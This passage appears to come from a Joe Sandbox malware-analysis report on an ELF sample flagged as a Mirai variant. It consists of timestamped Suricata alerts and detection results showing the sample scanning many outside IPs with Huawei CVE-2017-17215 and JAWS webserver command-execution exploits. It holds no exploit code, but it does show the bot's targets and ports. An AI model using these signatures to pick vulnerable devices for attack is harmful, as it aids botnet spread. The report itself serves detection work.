2024-10-17T02:19:54.512763+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37564	197.75.230.149	37215	TCP
2024-10-17T02:19:54.521149+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44500	156.83.9.230	37215	TCP
2024-10-17T02:19:54.544722+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44430	41.29.102.230	37215	TCP
2024-10-17T02:19:54.593533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41062	41.248.114.237	37215	TCP
2024-10-17T02:19:54.635659+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36384	156.20.186.166	37215	TCP
2024-10-17T02:19:54.709292+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50022	197.22.184.90	37215	TCP
2024-10-17T02:19:54.709507+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60390	41.27.133.111	37215	TCP
2024-10-17T02:19:54.713704+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36192	156.180.112.46	37215	TCP
2024-10-17T02:19:54.724778+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48596	197.255.60.156	37215	TCP
2024-10-17T02:19:54.738299+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53590	41.209.69.201	37215	TCP
2024-10-17T02:19:55.011295+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39144	156.253.97.89	37215	TCP
2024-10-17T02:19:55.761738+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47952	156.87.111.33	37215	TCP
2024-10-17T02:19:55.763880+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39130	156.201.54.116	37215	TCP
2024-10-17T02:19:56.714844+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56960	197.223.27.223	37215	TCP
2024-10-17T02:19:56.715398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36710	41.244.101.219	37215	TCP
2024-10-17T02:19:56.744989+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52836	41.106.34.9	37215	TCP
2024-10-17T02:19:56.752629+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42656	197.108.22.112	37215	TCP
2024-10-17T02:20:01.059869+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37104	156.250.105.136	37215	TCP
2024-10-17T02:20:03.822757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57104	41.108.224.37	37215	TCP
2024-10-17T02:20:03.825401+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37276	156.244.45.27	37215	TCP
2024-10-17T02:20:03.826790+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36564	197.37.72.160	37215	TCP
2024-10-17T02:20:03.827120+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51112	156.212.166.164	37215	TCP
2024-10-17T02:20:03.831182+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52808	156.86.234.58	37215	TCP
2024-10-17T02:20:05.991865+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38186	156.239.237.253	37215	TCP
2024-10-17T02:20:06.868705+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57444	156.236.248.144	37215	TCP
2024-10-17T02:20:06.873108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49020	156.169.58.205	37215	TCP
2024-10-17T02:20:07.885117+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48506	41.240.141.100	37215	TCP
2024-10-17T02:20:09.425810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37736	197.5.188.189	37215	TCP
2024-10-17T02:20:09.425812+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43326	197.218.128.208	37215	TCP
2024-10-17T02:20:09.425846+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36740	41.16.63.1	37215	TCP
2024-10-17T02:20:09.425859+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59668	41.228.113.122	37215	TCP
2024-10-17T02:20:09.425866+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59750	156.122.27.250	37215	TCP
2024-10-17T02:20:09.425908+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51606	197.92.190.171	37215	TCP
2024-10-17T02:20:09.425949+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45150	156.105.67.185	37215	TCP
2024-10-17T02:20:09.425964+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60062	41.128.37.85	37215	TCP
2024-10-17T02:20:09.425965+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55094	41.189.231.37	37215	TCP
2024-10-17T02:20:09.425999+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51776	41.49.0.88	37215	TCP
2024-10-17T02:20:09.898685+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50048	156.118.48.47	37215	TCP
2024-10-17T02:20:09.898693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46368	197.56.18.130	37215	TCP
2024-10-17T02:20:09.898698+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40860	156.169.107.116	37215	TCP
2024-10-17T02:20:09.898713+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42330	41.137.151.118	37215	TCP
2024-10-17T02:20:09.898810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55100	197.90.78.234	37215	TCP
2024-10-17T02:20:09.898833+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36252	41.152.11.152	37215	TCP
2024-10-17T02:20:09.905842+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53248	156.0.51.221	37215	TCP
2024-10-17T02:20:10.933088+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35474	156.80.96.190	37215	TCP
2024-10-17T02:20:11.943043+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45952	41.190.123.206	37215	TCP
2024-10-17T02:20:11.943052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43506	41.96.50.253	37215	TCP
2024-10-17T02:20:11.959104+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40196	41.12.125.38	37215	TCP
2024-10-17T02:20:11.960978+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39536	41.165.212.160	37215	TCP
2024-10-17T02:20:13.067392+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49560	197.122.144.12	37215	TCP
2024-10-17T02:20:13.067397+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47230	197.202.99.160	37215	TCP
2024-10-17T02:20:13.067580+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54060	41.151.4.214	37215	TCP
2024-10-17T02:20:13.068790+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54100	41.45.188.67	37215	TCP
2024-10-17T02:20:13.076567+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50344	156.18.204.135	37215	TCP
2024-10-17T02:20:13.076662+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47226	156.168.94.120	37215	TCP
2024-10-17T02:20:13.076785+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52236	197.186.242.181	37215	TCP
2024-10-17T02:20:13.077524+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35662	197.110.244.192	37215	TCP
2024-10-17T02:20:13.077634+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49298	41.248.9.85	37215	TCP
2024-10-17T02:20:13.079042+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57350	41.53.129.146	37215	TCP
2024-10-17T02:20:13.082425+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35506	156.119.58.82	37215	TCP
2024-10-17T02:20:13.084275+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37682	156.127.107.233	37215	TCP
2024-10-17T02:20:13.084347+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48928	41.187.34.4	37215	TCP
2024-10-17T02:20:13.088418+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58186	197.66.150.113	37215	TCP
2024-10-17T02:20:13.961899+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39442	156.38.120.13	37215	TCP
2024-10-17T02:20:13.962264+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35886	156.107.106.233	37215	TCP
2024-10-17T02:20:13.962336+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33312	41.137.149.247	37215	TCP
2024-10-17T02:20:13.962365+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34406	197.18.155.250	37215	TCP
2024-10-17T02:20:13.962630+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53774	197.1.30.153	37215	TCP
2024-10-17T02:20:13.962683+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41354	156.255.28.70	37215	TCP
2024-10-17T02:20:13.968518+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35432	197.140.198.132	37215	TCP
2024-10-17T02:20:13.968557+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45166	197.145.67.62	37215	TCP
2024-10-17T02:20:13.968747+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55996	197.184.55.211	37215	TCP
2024-10-17T02:20:14.984117+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53970	41.143.170.145	37215	TCP
2024-10-17T02:20:14.995871+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39302	41.42.97.91	37215	TCP
2024-10-17T02:20:16.016527+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39742	197.9.50.101	37215	TCP
2024-10-17T02:20:16.127760+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54220	197.57.159.86	37215	TCP
2024-10-17T02:20:20.950789+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45776	156.198.75.255	37215	TCP
2024-10-17T02:20:20.950792+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49754	41.189.117.52	37215	TCP
2024-10-17T02:20:20.969952+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34962	197.219.115.254	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 9zldYT23H2.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: 9zldYT23H2.elf

ReversingLabs: Detection: 71%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48374 -> 117.184.202.170:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45754 -> 94.254.142.163:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37296 -> 212.201.183.181:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52518 -> 210.223.79.232:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36426 -> 109.224.137.146:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35546 -> 37.151.27.138:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59524 -> 2.168.41.147:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53526 -> 175.135.73.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55348 -> 196.201.9.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53526 -> 175.135.73.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55348 -> 196.201.9.128:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53766 -> 156.245.159.165:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33508 -> 210.29.71.196:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52572 -> 197.130.19.23:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52874 -> 207.45.81.68:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52874 -> 207.45.81.68:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41098 -> 156.130.38.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53532 -> 197.214.172.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51388 -> 197.227.122.154:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39766 -> 174.24.2.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39766 -> 174.24.2.27:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58860 -> 197.226.27.20:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41198 -> 96.128.202.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41198 -> 96.128.202.170:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50872 -> 41.146.94.96:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49670 -> 151.92.33.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49670 -> 151.92.33.61:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36896 -> 156.42.148.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42258 -> 156.243.178.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38798 -> 41.23.92.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55716 -> 41.24.74.237:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40776 -> 118.61.252.110:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36726 -> 197.94.217.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51026 -> 156.148.175.0:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40776 -> 118.61.252.110:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58144 -> 197.216.228.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37682 -> 197.8.130.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53530 -> 197.233.34.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34862 -> 156.158.100.93:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51290 -> 27.147.76.225:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57408 -> 197.167.213.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50758 -> 197.153.89.197:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51290 -> 27.147.76.225:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53778 -> 199.4.155.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35076 -> 197.130.159.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58904 -> 197.182.193.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56320 -> 197.108.80.199:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53778 -> 199.4.155.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37498 -> 156.110.225.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58236 -> 41.249.70.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57766 -> 156.228.182.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33444 -> 197.151.100.246:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60586 -> 155.202.61.115:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45456 -> 41.96.201.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54330 -> 156.222.139.12:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50640 -> 89.205.249.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50640 -> 89.205.249.27:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47832 -> 156.187.4.61:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39670 -> 119.43.17.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39670 -> 119.43.17.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42770 -> 36.46.127.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42770 -> 36.46.127.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40230 -> 57.222.88.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40230 -> 57.222.88.137:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34770 -> 41.70.217.138:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56104 -> 66.119.106.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56104 -> 66.119.106.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48658 -> 34.50.168.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48658 -> 34.50.168.128:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43276 -> 197.251.236.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40760 -> 156.215.137.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47740 -> 41.233.212.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42090 -> 41.59.142.173:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34644 -> 176.113.27.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34644 -> 176.113.27.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55720 -> 206.61.33.79:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55720 -> 206.61.33.79:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51174 -> 156.81.108.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54646 -> 156.35.219.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40402 -> 41.67.208.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37182 -> 197.159.26.158:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34536 -> 104.67.111.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34536 -> 104.67.111.220:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57582 -> 197.111.212.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34518 -> 197.78.47.248:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58536 -> 65.149.139.140:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51492 -> 68.253.207.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47928 -> 59.213.205.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51492 -> 68.253.207.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60416 -> 143.90.220.190:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54266 -> 41.4.146.210:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60586 -> 155.202.61.115:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48420 -> 41.108.18.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45386 -> 197.185.101.11:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43248 -> 173.138.120.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47928 -> 59.213.205.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43248 -> 173.138.120.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60416 -> 143.90.220.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47256 -> 8.195.166.159:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58536 -> 65.149.139.140:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48364 -> 174.27.117.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34964 -> 93.85.10.209:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47256 -> 8.195.166.159:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59064 -> 198.90.180.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48364 -> 174.27.117.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57006 -> 107.222.113.58:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51458 -> 41.140.60.225:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34964 -> 93.85.10.209:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52128 -> 156.107.220.177:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59294 -> 183.101.116.38:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41126 -> 197.137.107.247:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57006 -> 107.222.113.58:80
